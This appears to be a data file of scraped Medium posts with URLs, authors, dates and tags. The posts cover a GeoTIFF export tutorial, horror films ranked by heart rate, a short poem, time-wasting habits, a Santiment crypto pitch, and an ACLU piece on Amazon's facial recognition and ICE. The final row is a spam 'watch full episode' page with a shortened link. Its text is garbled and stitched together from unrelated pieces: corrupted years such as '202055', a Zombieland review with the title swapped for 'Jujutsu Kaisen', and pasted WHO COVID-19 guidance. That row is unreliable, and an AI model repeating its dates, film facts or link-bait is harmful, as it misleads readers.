Storing the data array as a GeoTiff
In the next cell/step of this NoteBook, the data array is exported to an image using the GDAL library, with:
GetDriverByName: export as GeoTIFF SetGeoTransform: to preserve the coordinates, and osr.SpatialReference: as well as the projection, in this example, hardcoded (3395)
Creating the image from the figure data, with:
newRasterfn: File Name (str)
rasterOrigin: upper left corner (minx, maxy)
pixelWidth: cell dimension (w)
pixelHeight: cell dimension (h)
array: the flattened data from the figure (NxM)
Code section << Storing the data array as a GeoTiff>> is not displayed fully, and is only giving the high level view of the functions # Export array to raster (main function)
def array2raster(newRasterfn,
rasterOrigin,pixelWidth,pixelHeight,array):
# newRasterfn: File Name
# rasterOrigin: upper left corner
# pixelWidth: cell dimetion (w)
# pixelHeight: cell dimetion (h)
# array: the data from the figure # Creating the Image from a Figure
def createImageFromFigure(newRasterfn,
rasterOrigin,pixelWidth,pixelHeight,array): # Creating the image from the figure data, with:
createImageFromFigure (newRasterfn,
rasterOrigin,pixelWidth,pixelHeight,Y) Rechecking the dimentions
cols (X): 881 // rows (Y): 883
Cell size: 2084 (w) , 2084 (h)
rasterOrigin: (-672599.7581629481, 6738853.145639915)
Image saved to disk
Summary Part One
This concludes the first part of the code, to summarise what we have covered so far:
Conversion WorkFlow
Vector data was loaded to a MatPlotLib figure Selecting the right projection for the project, not all projects are using the same coordinate system. Restructuring the pixel information of the image, from multi-dimensional to a simple data array. Only greyscale values are needed in the background The parameters of the image are stored as metadata The figure is stored as a GeoTiff
In the next part, the converted image is reloaded in the project and the conversion process checked (to see if the image projected in the correct location). | https://towardsdatascience.com/geo-referencing-a-figure-as-an-image-fc5e77caa00b | ['Gijs Van Den Dool'] | 2020-06-21 17:27:04.153000+00:00 | ['Editors Pick', 'Mapping', 'Geotiff', 'Cartography', 'Data Conversion'] |
Top 10 Horror Movies: Let’s Experiment with Heart | Top 10 Horror Movies: Let’s Experiment with Heart
Photo By Sammy-Williams on Pixabay
On watching these movies, the heartbeat excited beating faster than normal. This is the first time such an experiment has been done under the ‘Scare Project’. Regardless of the horror film, ‘The Exorcist’ or ‘Nosferatu’ can be rated as the most horror film of all time. But despite not being very popular among fans from a science perspective, ‘Sinister’ is the scariest film ever.
Recently, ‘The Science of Scare Project’ has been selected by BroadBand Choices as one of the 10 scariest horror films in the world. In this study conducted by BroadBand Choices, during the entire experience of watching these films, the heart rate of all these participants was monitored and readings are taken.
After viewing all the films, the highest rate was marked after viewing the participants’ heart rate, which varied from 86 to 131 bpm on normal when watching the Sinister movie.
The average heartbeat rate was much higher than 65 bpm. Though the 2012 horror film experienced an average rating of critics, its top place on the scariest list of ‘The Science of Scare Project’ [source link] may shock many.
Beats Per Minute (BPM)
These films are in the top 10
01. Sinister (86 BPM)
02. Insidious (85 BPM)
03. The Conjuring (84 BPM)
04. Hereditary (83 BPM)
05. Paranormal Activity (82 BPM)
06. IT Follows (81 BPM) )
07. The Conjuring-2 (80 BPM)
08. The Babaduk (80 BPM)
09. The Decent (79 BPM)
10. The Visit (79 BPM)
But the movie that competes with Sinister and is 2nd in the table is Insidious, a movie based on the mysterious incidents of 2010, when viewing these 50 participants had a normal heart rate of 85 to 133 bpm. | https://medium.com/the-haven/top-10-horror-movies-lets-experiment-with-heart-c1c9166803fd | ['Status Book'] | 2020-12-31 21:29:57.875000+00:00 | ['Entertainment', 'Cinema', 'Film', 'Movies', 'Horror Movies'] |
The Sprawling Wood | The Sprawling Wood
A poem
Photo by Axel Holen on Unsplash
The sprawling wood
I hold so dearly
Portrays my life
So very nearly
A sprawling work
So intricately woven
So that I cannot
Tell where it’s going
If a sprawling life
Could see its fashion
It would live
And know the depth of passion
…
MAS | https://medium.com/scribe/the-sprawling-wood-ce86144ebf54 | ['Mark A. Schrader'] | 2020-12-22 08:42:43.385000+00:00 | ['Self', 'Poetry', 'Self-awareness', 'Poem', 'Life'] |
The 7 Ways You Waste Time Every Day (Without Even Noticing) | Photo by Lukas Blazek on Unsplash
Have you ever found yourself browsing the web aimlessly while you should be working, thinking to yourself, “this is a waste of time. I really need to get back to work”? if your answer is no, I’m suspicious.
This is something we all do; two-thirds of people report visiting at least one non-work related site every day while on the clock, and since that survey is self-reported, the real numbers are probably much higher than that.
But these are instances where we knowingly waste time; we forfeit a few minutes to give ourselves a break, or we realize that we aren’t in a particularly productive mood. We might even be obligatorily roped into a responsibility that we feel is a waste of our day.
These known time-wasters are unfortunate, and sometimes dangerous, but the bigger danger lies in the little ways you waste time every day without even noticing:
1. Communication distractions. How often throughout the day to you stop what you’re doing — just momentarily — to deal with an incoming text, a new email, or a chat notification? In this era of near-constant connectivity and communication, I’m guessing it’s many times a day, and it probably doesn’t seem like a big deal to you. But consider this: it takes up to 25 minutes to return your attention to a task after losing your attention on it. All those minute-long distractions throughout the day could be stealing hours from you. The solution here is pretty easy; turn off notifications when you need to focus on heads-down work.
2. Unnecessary meetings. Meetings are, at times, necessary, but they’re often structured in a way that wastes at least one person’s time; for example, they may include people who don’t need to attend, they may take up twice as long as they really need to, or they may be called despite the fact that an email could accomplish the same goal. There are many potential fixes here, including more scrutiny when deciding to have a meeting, better attendant selection, and shorter meeting times.
3. Going too long without a break. If you’re working on something technically complicated, or if you simply have a lot on your plate, you might try to work for extended periods of time without a break to catch up, or to avoid the break in focus that could slow down your work. However, breaks are important for focus, memory, mood, and subjective energy levels; if you go more than a couple of hours without any kind of break, you’ll end up making more mistakes, feeling more tired, and ultimately, less productive.
4. Doing too much at once. It shouldn’t be news to you that multitasking is ineffective, yet I’m willing to bet there are times throughout the day where you try to focus on multiple things simultaneously. Maybe you start thinking about the next task on your list in the middle of a project, or try to juggle tasks in multiple open browser windows at once. When you attempt this, you end up doing both tasks less efficiently.
5. Duplicating efforts. Have you ever taken the time to explain a new policy to an employee, only to go over that same explanation with another employee hours, or even moments later? Or have you ever accidentally started a task only to realize that someone else on your team already handled it? Duplicated efforts are almost always the result of a hiccup in communication; either someone isn’t communicating enough, or someone is failing to communicate in the right format (such as individual vs. group messages).
6. Micromanaging. Micromanaging can be effective, in certain situations, but for the most part, it’s a waste of your time. You hired these employees because you trust them to handle their work; if they get the job done, why does their approach or methodology matter? Supervising too closely results in a duplication of efforts, and trying to change someone’s work style could make them even less efficient (while occupying your own time). Try to avoid it whenever possible.
7. Procrastinating. You might also waste time unwittingly by procrastinating. For example, if you delay work on an important project, or spend too much time making a decision, it could end up occupying more of your schedule. You could also deprive yourself of time to react to that decision, resulting in even more inefficiency in your own work and the work of your team. There’s no surefire strategy against procrastinating, since it’s so common and so easy to succumb to; all you can do is work to be more decisive.
These time wasters cumulatively suck hours from your workday, and millions of professionals put up with it because they never notice that missing time. Fortunately, all it takes to address most of these problems is a little awareness, and a commitment to ongoing improvement.
Pay attention to how you’re spending your time, and don’t assume that a habit is productive unless you’ve experimented with other approaches.
For more content like this, be sure to check out my podcast, The Entrepreneur Cast! | https://jaysondemers.medium.com/the-7-ways-you-waste-time-every-day-without-even-noticing-396104c7c5c0 | ['Jayson Demers'] | 2020-10-01 18:11:35.074000+00:00 | ['Entrepreneurship', 'Productivity', 'Time Management', 'Entrepreneur', 'Startup'] |
How Santiment is Precision Building Your MVP | Note for Newcomers: If you’re wondering what Santiment is and why you should care, here’s your answer: Santiment is the first crypto-market intelligence platform where you’ll get reliable, data-backed market information for your trading and investing. It’s a data-collection, analysis, and dispersion platform designed to give crypto-traders and investors the edge they need to make more profit.
Santiment is ambitious. We’re aiming to build THE source of credible trading and investing data in the crypto-space. And that doesn’t ‘just happen’. It takes grit, patience, and design expertise. This post is about showing you how we’re tackling these challenges.
Doesn’t this look complicated? Well it’s not, when you get how it works. Just like Santiment! :)
Santiment has a lot of moving parts. There’s tech, design, and most importantly the incentive structure. If participant incentives are properly aligned, then Santiment works perfectly. Token demand — and value — is directly tied to data quality. If the data is representative of the market, then Santiment could ride the wave of blockchain growth to the stratosphere. That means design precision is key, and the whole platform must focus on high quality data.
Building Santiment is a lot like building watches, but better.
That’s why we’re building it piece by piece, in a modular way . We want to release early, release often and get Santiment into your hands as fast as possible. We’re not worried about making mistakes. That’s an unavoidable part of being a creator. We’re concerned about making high quality crypto-market data as fast as we can. And the only way to perfect that is through experimentation.
That’s why we chose the Sentiment Tracker as our Minimum Viable Product (MVP). It’s our first crypto-financial game and the first module in the network. But why start with a sentiment tracker?
We’re starting with the Sentiment Tracker for two reasons:
It gives us a way of collecting pure sentiment data in conditions that maximize truthfulness
It’s a standalone product with it’s own utility
Visualize this scenario: You’re playing the game and have just entered your market sentiment. You can see how you are doing and track your accuracy. But you can also see the Sentiment scores of fellow traders. You’re not making predictions in a vacuum; There’s a whole community able and willing to share opinions and expertise. Who is bullish and who is bearish? The answer will be just a short message away.
Imagine seeing your friends market sentiment in real time. Yes, it would be amazing.
And the Sentiment Tracker is a stand-alone product. It has value separate of the rest of the network in how it delivers information. You can see how the Tracker fits into the network while being antifragile in how it delivers value. And in future releases you’ll earn SNT tokens by producing predictive data, so you’ll have a big incentive to continue.
But that’s the long term vision for the Sentiment Tracker. Much like the network, we’re building the Sentiment Tracker in a modular way. We’re building the MVP around the core value delivered by the app, which is to check your sentiment relative to the market. Further parts will come later. Rest assured, you’ll get a deeper dive into our MVP in a future post.
So that’s how we’re building the Santiment network. We’re putting it together piece by piece, and that all starts with a great MVP. That’s the first step towards crypto’s first credible data network, which Santiment is destined to be.
If you’d like to get information on Santiment before it’s news, then join our email community by clicking the image below: | https://medium.com/santiment/how-santiment-is-precision-building-your-mvp-4f22a39bfb1b | ['Mitchell Loureiro'] | 2017-03-02 17:02:00.786000+00:00 | ['Bitcoin', 'MVP', 'Blockchain', 'Ethereum', 'Cryptocurrency'] |
Amazon Met With ICE Officials to Market Its Facial Recognition Product | Amazon Met With ICE Officials to Market Its Facial Recognition Product
We filed a Freedom of Information Act request demanding information on whether and how the Trump administration intends to use this technology.
By Neema Singh Guliani, ACLU Senior Legislative Counsel
OCTOBER 24, 2018 | 12:00 PM
According to documents released Tuesday by the Project on Government Oversight, earlier this year Amazon employees met with Immigration and Customs Enforcement officials to market “Rekognition” — the company’s facial recognition technology that we have been sounding the alarm on for months.
The prospect of the Trump administration using facial recognition to supercharge its deportation machine is very alarming indeed. So to find out what’s happening, we filed a Freedom of Information Act request on Wednesday demanding that the Department of Homeland Security release information relating to where and how it intends to use facial recognition as well as who it has purchased the technology from.
Amazon boasts that Rekognition can be used for surveillance on a massive scale, like tracking people in real-time, tagging over 100 people in a photograph, or identifying people just walking down the street. ICE has not released any information explaining what uses of Rekognition it has explored or whether it intends to buy it (or other face surveillance technology) to assist with immigration enforcement efforts. If ICE does plan to use this technology, it would be a significant cause for concern.
ICE has historically relied on biometrics — primarily fingerprints — as a way of expanding its immigration enforcement capabilities. Through government programs like “Secure Communities,” the fingerprints of people arrested by local police are matched against ICE databases. In cases where ICE claims someone is undocumented, the agency can issue a request that someone be held for 48 hours so that they can be transferred to ICE custody. In 2017, ICE issued over 142,000 such detainer requests.
The use of biometrics in this way has fueled the current mass detention and deportation efforts, which terrorize immigrant communities throughout the country, resulting in countless errors, deportations without due process, and increased racial profiling. Worse still, ICE is an agency that often acts with impunity, operating with a record $7.1 billion budget with inadequate oversight and accountability.
If ICE is seeking to augment its existing biometric matching with facial recognition, the impact on immigrant communities could be even more striking. Using just a photo, it could make it easier to track and apprehend people as they attend a protest or walk their kids to school. And given the high rates of inaccuracy of facial recognition on communities of color the inevitable mistakes could be disastrous.
In July, we released a test showing that Amazon Rekognition falsely matched 28 members of Congress with mugshot photos, with members of color incorrectly matched at a disproportionately higher rate. After this, a bipartisan group of 25 House members, including civil rights legend John Lewis (D-Ga.), sent a letter to Amazon CEO Jeff Bezos demanding a meeting and writing, “[W]e are alarmed about the deleterious impact this tool — if left unchecked — will have on communities of color; immigrants; protestors peaceably assembling and others petitioning the Government for a redress of grievances; or any other marginalized group.”
In a recent statement to The Washington Post, ICE said that it had used face recognition in the past to assist in “criminal investigations.” This is disturbing given that Congress has never authorized this use, ICE has not publicly disclosed any policies or procedures, and the inherent civil liberties risks of the technology.
Amazon shouldn’t be arming an out-of-control agency with additional means for targeting immigrants. And if the government is planning to use this powerful surveillance tool, the public has a right to know how. | https://medium.com/aclu/amazon-met-with-ice-officials-to-market-its-facial-recognition-product-861cc041b59f | ['Aclu National'] | 2018-10-24 17:12:04.124000+00:00 | ['Free Future', 'Privacy', 'Face Recognition', 'Surveillance', 'Immigration'] |
Sen Cal Kapimi Ep. 24 EngSub On FOX Türkiye (Full — Episode) | ▶ Watch Sen Cal Kapimi Episode 24 | English Subtitle / Sub Espanol | Episode 1–2–3–4–5–6–7–8–9–10 (FREE)
▶ Full Watch Episode HERE!!! https://cutt.ly/Qh8u3Ry
You Knock on My Door (Sen Çal Kapımı) | Eda did not fall into the trap of Balca about the tender; However, the appearance of Semiha Hanım, shakes Serkan’s trust. Serkan immediately leaves the company. Eda chases after him and tries to tell him that she did not know the identity of the secret partner until that minute. Taking advantage of the absence of Serkan and Eda, Semiha Hanım, declares a state of emergency at the company. The next stop of this woman is the house of Ayfer and Eda. Eda eventually finds a way to get Serkan to listen. They both agree that their relationship is getting worn out. Serkan wants to make a brand new start with the new year. Though Eda wants to leave her grandmother in the past, her grandmother fell like a bomb in the middle of her life. Will the magic of the New Year be able to surround Serkan and Eda? Are brand new beginnings possible? When the clock strikes 12 a.m., they make a contract to let each other know their decision about their relationship.
📽 Episode Info
Show: Sen Çal Kapımı
Number: Season 1, Episode 24
Airdate: Dec 26, 2020 at 20:00
Runtime: 120 minutes
📽 Sen Çal Kapımı
Eda, who ties all her hopes to her education, confronts Serkan Bolat, who cuts off her international education scholarship and leaves her with high school diploma. Serkan Bolat offers Eda to give her scholarship back if she pretends to be his fiance for two months. Although Eda rejects the offer of this man as she hates him, she has to accept it when the conditions change. While pretending to be engaged, Serkan and Eda begin to experience a passionate, challenging relationship that will make them forget all they know right. Because love is difficult. And that’s why it’s amazing.
📽 Show Info
Network: Turkey FOX Türkiye (2020 — now)
Schedule: Saturdays at 20:00 (120 min)
Status: Running
Language: Turkish
Show Type: Scripted
Genres: Drama Comedy Romance
📽 Turkey FOX Türkiye
En güncel haberler, en sevdiğiniz diziler, en beğendiğiniz filmler FOX’ta! Hemen FOX’a gelin, ayrıcalıkların tadını çıkarın!
♚ I do not own this song or the Image, all credit goes,
It’s so Awesome. Subscribe and Share with your friends! to my channel. See for more videos!!. I want to say ‘thank you’ for being the friend!! Atelevision show (often simply TV show) is any content produced for broadcast via over-the-air, satellite, cable, or internet and typically viewed on a television set, excluding breaking news, advertisements, or trailers that are typically placed between shows. Television shows are most often scheduled well ahead of time and appear on electronic guides or other TV listings. A television show might also be called a television program (British English: programme), especially if it lacks a narrative structure. A television series is usually released in episodes that follow a narrative, and are usually divided into seasons (US and Canada) or series (UK) — yearly or semiannual sets of new episodes. A show with a limited number of episodes may be called a miniseries, serial, or limited series. A one-time show may be called a “special”. A television film (“made-for-TV movie” or “television movie”) is a film that is initially broadcast on television rather than released in theaters or direct-to-video. Television shows can be viewed as they are broadcast in real time (live), be recorded on home video or a digital video recorder for later viewing, or be viewed on demand via a set-top box or streamed over the internet.
✨ CREDITS ✨
The first television shows were experimental, sporadic broadcasts viewable only within a very short range from the broadcast tower starting in the 202055s. Televised events such as the 202055 Summer Olympics in Germany, the 202055 coronation of King George VI in the UK, and David Sarnoff’s famous introduction at the 202055 New York World’s Fair in the US spurred a growth in the medium, but World War II put a halt to development until after the war. The 202055 World Series inspired many Americans to buy their first television set and then in 202055, the popular radio show Texaco Star Theater made the move and became the first weekly televised variety show, earning host Milton Berle the name “Mr Television” and demonstrating that the medium was a stable, modern form of entertainment which could attract advertisers. The first national live television broadcast in the US took place on September 2020, 202055 when President Harry Truman’s speech at the Japanese Peace Treaty Conference in San Francisco was transmitted over AT&T’s transcontinental cable and microwave radio relay system to broadcast stations in local markets. The first national color broadcast (the 202055 Tournament of Roses Parade) in the US occurred on January 2020, 202055. During the following ten years most network broadcasts, and nearly all local programming, continued to be in black-and-white. A color transition was announced for the fall of 202055, during which over half of all network prime-time programming would be broadcast in color. The first all-color prime-time season came just one year later. In 202055, the last holdout among daytime network shows converted to color, resulting in the first completely all-color network season.
💫 CREDITS 💫
Television shows are more varied than most other forms of media due to the wide variety of formats and genres that can be presented. A show may be fictional (as in comedies and dramas), or non-fictional (as in documentary, news, and reality television). It may be topical (as in the case of a local newscast and some made-for-television films), or historical (as in the case of many documentaries and fictional series). They could be primarily instructional or educational, or entertaining as is the case in situation comedy and game shows.[citation needed] A drama program usually features a set of actors playing characters in a historical or contemporary setting. The program follows their lives and adventures. Before the 202055, shows (except for soap opera-type serials) typically remained static without story arcs, and the main characters and premise changed little.[citation needed] If some change happened to the characters’ lives during the episode, it was usually undone by the end. Because of this, the episodes could be broadcast in any order.[citation needed] Since the 202055, many series feature progressive change in the plot, the characters, or both. For instance, Hill Street Blues and St. Elsewhere were two of the first American prime time drama television series to have this kind of dramatic structure,[2020][better source needed] while the later series Jujutsu Kaisenlon 2020 further exemplifies such structure in that it had a predetermined story running over its intended five-season run.[citation needed] In 202055, it was reported that television was growing into a larger component of major media companies’ revenues than film.[2020] Some also noted the increase in quality of some television programs. In 202055, Academy-Award-winning film director Steven Soderbergh, commenting on ambiguity and complexity of character and narrative, stated: “I think those qualities are now being seen on television and that people who want to see stories that have those kinds of qualities are watching television. On January 20201, 2020202020202020, WHO announced an outbreak of a coronavirus new (COVID-20205) as a Concerning Public Health Emergency World. To respond to COVID-20205, preparedness and response is needed critical nature such as equipping health personnel and facility management health services with the necessary information, procedures, and tools can safely and effectively work. health workers play an important role in responding to outbreaks COVID-20205 and become the backbone of a country’s defense for limit or manage the spread of disease. At the forefront, power health care providers that suspect patients need and confirmed COVID-20205, which is often carried out in challenging circumstances. Officers are at a higher risk of contracting COVID-20205 in their efforts to protect wider society. Officers can be exposed to hazards such as psychological stress, fatigue, mental exhaustion or stigma. WHO is aware of their duties and responsibilities this big responsibility and the importance of protecting health care facility personnel.
💫 Aim
This material aims to protect health workers from infection and prevent it possible spread of COVID-20205 in health care facilities. This material contains a series of simple messages and reminders based on technical guidelines WHO is more comprehensive about infection prevention and control in facilities health services in the context of COVID-20205: “Prevention and control infection in health services when the new coronavirus (nCoV) infection is suspected “ (20205 January 2020202020202020). Further information can be found in the WHO technical manual.
✨ Readers of this material
This material is intended for health personnel and service facility management health and may be distributed to other health workers and to facilities health services. The Ministry of Health can provide this material to all hospitals and government health service facilities. Copy this material needs to be provided to private physician networks, medical associations, medical, nursing and midwifery to be shared and fitted accordingly necessity. The contents of this material can be adapted into local languages and placed in places in the service facility
💫 ALL CATEGORY WATCHTED 💫
An action story is similar to adventure, and the protagonist usually takes a risky turn, which leads to desperate scenarios (including explosions, fight scenes, daring escapes, etc.). Action and adventure usually are categorized together (sometimes even while “action-adventure”) because they have much in common, and many stories are categorized as both genres simultaneously (for instance, the James Bond series can be classified as both). Continuing their survival through an age of a Zombie-apocalypse as a makeshift family, Columbus (Jesse Eisenberg), Tallahassee (Woody Harrelson), Wichita (Emma Stone), and Little Rock (Abagail Breslin) have found their balance as a team, settling into the now vacant White House to spend some safe quality time with one another as they figure out their Jujutsu Kaisen move. However, spend time at the Presidential residents raise some uncertainty as Columbus proposes to Wichita, which freaks out the independent, lone Jujutsu Kaisen out, while Little Rock starts to feel the need to be on her own. The women suddenly decide to escape in the middle of the night, leaving the men concerned about Little Rock, who’s quickly joined by Berkley (Avan Jogia), a hitchhiking hippie on his way to place called Babylon, a fortified commune that’s supposed to be safe haven against the zombies of the land. Hitting the road to retrieved their loved one, Tallahassee and Columbus meet Madison (Zoey Deutch), a dim-witted survivor who takes an immediate liking to Columbus, complicating his relationship with Wichita.
💫 ANALYZER GOOD / BAD 💫
To be honest, I didn’t catch Jujutsu Kaisen when it first got released (in theaters) back in 515. Of course, the movie pre-dated a lot of the pop culture phenomenon of the usage of zombies-esque as the main antagonist (i.e Game of Thrones, The Maze Runner trilogy, The Walking Dead, World War Z, The Last of Us, etc.), but I’ve never been keen on the whole “Zombie” craze as others are. So, despite the comedy talents on the project, I didn’t see Jujutsu Kaisen….until it came to TV a year or so later. Surprisingly, however, I did like it. Naturally, the zombie apocalypse thing was fine (just wasn’t my thing), but I really enjoyed the film’s humor-based comedy throughout much of the feature. With the exception of 520201’s Shaun of the Dead, majority of the past (and future) endeavors of this narrative have always been serious, so it was kind of refreshing to see comedic levity being brought into the mix. Plus, the film’s cast was great, with the four main leads being one of the film’s greatest assets. As mentioned above, Jujutsu Kaisen didn’t make much of a huge splash at the box office, but certainly gained a strong cult following, including myself, in the following years. Flash forward a decade after its release and Jujutsu Kaisen finally got a sequel with Jujutsu Kaisen: Double Tap, the central focus of this review post. Given how the original film ended, it was clear that a sequel to the 515 movie was indeed possible, but it seemed like it was in no rush as the years kept passing by. So, I was quite surprised to hear that Jujutsu Kaisen was getting a sequel, but also a bit not surprised as well as Hollywood’s recent endeavors have been of the “belated sequels” variety; finding mixed results on each of these projects. I did see the film’s movie trailer, which definitely was what I was looking for in this Jujutsu Kaisen 2020 movie, with Eisenberg, Harrelson, Stone, Breslin returning to reprise their respective characters again. I knew I wasn’t expecting anything drastically different from the 515 movie, so I entered Double Tap with good frame of my mind and somewhat eagerly expecting to catch up with this dysfunctional zombie killing family. Unfortunately, while I did see the movie a week after its release, my review for it fell to the wayside as my life in retail got a hold of me during the holidays as well as being sick for a good week and half after seeing the movie. So, with me still playing “catch up” I finally have the time to share my opinions on Jujutsu Kaisen: Double Tap. And what are they? Well, to be honest, my opinions on the film was good. Despite some problems here and there, Jujutsu Kaisen: Double Tap is definitely a fun sequel that’s worth the decade long wait. It doesn’t “redefine” the Zombie genre interest or outmatch its predecessor, but this Jujutsu Kaisen chapter of Jujutsu Kaisen still provides an entertaining entry….and that’s all that matters. Returning to the director’s chair is director Ruben Fleischer, who helmed the first Jujutsu Kaisen movie as well as other film projects such as 51 Minutes or Less, Gangster Squad, and Venom. Thus, given his previous knowledge of shaping the first film, it seems quite suitable (and obvious) for Fleischer to direct this movie and (to that affect), Double Tap succeeds. Of course, with the first film being a “cult classic” of sorts, Fleischer probably knew that it wasn’t going to be easy to replicate the same formula in this sequel, especially since the 5-year gap between the films. Luckily, Fleischer certainly excels in bringing the same type of comedic nuances and cinematic aspects that made the first Jujutsu Kaisen enjoyable to Double Tap; creating a second installment that has plenty of fun and entertainment throughout. A lot of the familiar / likeable aspects of the first film, including the witty banter between four main lead characters, continues to be at the forefront of this sequel; touching upon each character in a amusing way, with plenty of nods and winks to the original 515 film that’s done skillfully and not so much unnecessarily ham-fisted. Additionally, Fleischer keeps the film running at a brisk pace, with the feature having a runtime of 55 minutes in length (one hour and thirty-nine minutes), which means that the film never feels sluggish (even if it meanders through some secondary story beats / side plot threads), with Fleischer ensuring a companion sequel that leans with plenty of laughter and thrills that are presented snappy way (a sort of “thick and fast” notion). Speaking of which, the comedic aspect of the first Jujutsu Kaisen movie is well-represented in Double Tap, with Fleischer still utilizing its cast (more on that below) in a smart and hilarious by mixing comedic personalities / personas with something as serious / gravitas as fighting endless hordes of zombies every where they go. Basically, if you were a fan of the first Jujutsu Kaisen flick, you’ll definitely find Double Tap to your liking. In terms of production quality, Double Tap is a good feature. Granted, much like the last film, I knew that the overall setting and background layouts weren’t going to be something elaborate and / or expansive. Thus, my opinion of this subject of the movie’s technical presentation isn’t that critical. Taking that into account, Double Tap does (at least) does have that standard “post-apocalyptic” setting of an abandoned building, cityscapes, and roads throughout the feature; littered with unmanned vehicles and rubbish. It certainly has that “look and feel” of the post-zombie world, so Double Tap’s visual aesthetics gets a solid industry standard in my book. Thus, a lot of the other areas that I usually mentioned (i.e set decorations, costumes, cinematography, etc.) fit into that same category as meeting the standards for a 20205 movie. Thus, as a whole, the movie’s background nuances and presentation is good, but nothing grand as I didn’t expect to be “wowed” over it. So, it sort of breaks even. This also extends to the film’s score, which was done by David Sardy, which provides a good musical composition for the feature’s various scenes as well as a musical song selection thrown into the mix; interjecting the various zombie and humor bits equally well. There are some problems that are bit glaring that Double Tap, while effectively fun and entertaining, can’t overcome, which hinders the film from overtaking its predecessor. Perhaps one of the most notable criticism that the movie can’t get right is the narrative being told. Of course, the narrative in the first Jujutsu Kaisen wasn’t exactly the best, but still combined zombie-killing action with its combination of group dynamics between its lead characters. Double Tap, however, is fun, but messy at the same time; creating a frustrating narrative that sounds good on paper, but thinly written when executed. Thus, problem lies within the movie’s script, which was penned by Dave Callaham, Rhett Reese, and Paul Wernick, which is a bit thinly sketched in certain areas of the story, including a side-story involving Tallahassee wanting to head to Graceland, which involves some of the movie’s new supporting characters. It’s fun sequence of events that follows, but adds little to the main narrative and ultimately could’ve been cut completely. Thus, I kind of wanted see Double Tap have more a substance within its narrative. Heck, they even had a decade long gap to come up with a new yarn to spin for this sequel…and it looks like they came up a bit shorter than expected. Another point of criticism that I have about this is that there aren’t enough zombie action bits as there were in the first Jujutsu Kaisen movie. Much like the Walking Dead series as become, Double Tap seems more focused on its characters (and the dynamics that they share with each other) rather than the group facing the sparse groupings of mindless zombies. However, that was some of the fun of the first movie and Double Tap takes away that element. Yes, there are zombies in the movie and the gang is ready to take care of them (in gruesome fashion), but these mindless beings sort take a back seat for much of the film, with the script and Fleischer seemed more focused on showcasing witty banter between Columbus, Tallahassee, Wichita, and Little Rock. Of course, the ending climatic piece in the third act gives us the best zombie action scenes of the feature, but it feels a bit “too little, too late” in my opinion. To be honest, this big sequence is a little manufactured and not as fun and unique as the final battle scene in the first film. I know that sounds a bit contrive and weird, but, while the third act big fight seems more polished and staged well, it sort of feels more restricted and doesn’t flow cohesively with the rest of the film’s flow (in matter of speaking). What’s certainly elevates these points of criticism is the film’s cast, with the main quartet lead acting talents returning to reprise their roles in Double Tap, which is absolutely the “hands down” best part of this sequel. Naturally, I’m talking about the talents of Jessie Eisenberg, Woody Harrelson, Emma Stone and Abigail Breslin in their respective roles Jujutsu Kaisen character roles of Columbus, Tallahassee, Wichita, and Little Rock. Of the four, Harrelson, known for his roles in Cheers, True Detective, and War for the Planet of the Apes, shines as the brightest in the movie, with dialogue lines of Tallahassee proving to be the most hilarious comedy stuff on the sequel. Harrelson certainly knows how to lay it on “thick and fast” with the character and the s**t he says in the movie is definitely funny (regardless if the joke is slightly or dated). Behind him, Eisenberg, known for his roles in The Art of Self-Defense, The Social Network, and Batman v Superman: Dawn of Justice, is somewhere in the middle of pack, but still continues to act as the somewhat main protagonist of the feature, including being a narrator for us (the viewers) in this post-zombie apocalypse world. Of course, Eisenberg’s nervous voice and twitchy body movements certainly help the character of Columbus to be likeable and does have a few comedic timing / bits with each of co-stars. Stone, known for her roles in The Help, Superbad, and La La Land, and Breslin, known for her roles in Signs, Little Miss Sunshine, and Definitely, Maybe, round out the quartet; providing some more grown-up / mature character of the group, with Wichita and Little Rock trying to find their place in the world and how they must deal with some of the party members on a personal level. Collectively, these four are what certainly the first movie fun and hilarious and their overall camaraderie / screen-presence with each other hasn’t diminished in the decade long absence. To be it simply, these four are simply riot in the Jujutsu Kaisen and are again in Double Tap. With the movie keeping the focus on the main quartet of lead Jujutsu Kaisen characters, the one newcomer that certainly takes the spotlight is actress Zoey Deutch, who plays the character of Madison, a dim-witted blonde who joins the group and takes a liking to Columbus. Known for her roles in Before I Fall, The Politician, and Set It Up, Deutch is a somewhat “breath of fresh air” by acting as the tagalong team member to the quartet in a humorous way. Though there isn’t much insight or depth to the character of Madison, Deutch’s ditzy / air-head portrayal of her is quite hilarious and is fun when she’s making comments to Harrelson’s Tallahassee (again, he’s just a riot in the movie). The rest of the cast, including actor Avan Jogia (Now Apocalypse and Shaft) as Berkeley, a pacifist hippie that quickly befriends Little Rock on her journey, actress Rosario Dawson (Rent and Sin City) as Nevada, the owner of a Elvis-themed motel who Tallahassee quickly takes a shine to, and actors Luke Wilson (Legally Blonde and Old School) and Thomas Middleditch (Silicon Valley and Captain Underpants: The First Epic Movie) as Albuquerque and Flagstaff, two traveling zombie-killing partners that are mimic reflections of Tallahassee and Columbus, are in minor supporting roles in Double Tap. While all of these acting talents are good and definitely bring a certain humorous quality to their characters, the characters themselves could’ve been easily expanded upon, with many just being thinly written caricatures. Of course, the movie focuses heavily on the Jujutsu Kaisen quartet (and newcomer Madison), but I wished that these characters could’ve been fleshed out a bit. Lastly, be sure to still around for the film’s ending credits, with Double Tap offering up two Easter Eggs scenes (one mid-credits and one post-credit scenes). While I won’t spoil them, I do have mention that they are pretty hilarious.
💫 FINAL THOUGHTS 💫
It’s been awhile, but the Jujutsu Kaisen gang is back and are ready to hit the road once again in the movie Jujutsu Kaisen: Double Tap. Director Reuben Fleischer’s latest film sees the return the dysfunctional zombie-killing makeshift family of survivors for another round of bickering, banting, and trying to find their way in a post-apocalyptic world. While the movie’s narrative is a bit messy and could’ve been refined in the storyboarding process as well as having a bit more zombie action, the rest of the feature provides to be a fun endeavor, especially with Fleischer returning to direct the project, the snappy / witty banter amongst its characters, a breezy runtime, and the four lead returning acting talents. Personally, I liked this movie. I definitely found it to my liking as I laugh many times throughout the movie, with the main principal cast lending their screen presence in this post-apocalyptic zombie movie. Thus, my recommendation for this movie is favorable “recommended” as I’m sure it will please many fans of the first movie as well as to the uninitiated (the film is quite easy to follow for newcomers). While the movie doesn’t redefine what was previous done back in 515, Jujutsu Kaisen: Double Tap still provides a riot of laughs with this make-shift quartet of zombie survivors; giving us give us (the viewers) fun and entertaining companion sequel to the original feature. | https://medium.com/sen-cal-kapimi-episode-24-knock-on-my-door-2020/episode-24-sen-cal-kapimi-ep-24-engsub-on-fox-t%C3%BCrkiye-full-episode-9383ba523b3e | ['Sen Cal Kapimi'] | 2020-12-26 13:20:47.221000+00:00 | ['Drama', 'Romance', 'Comedy'] |
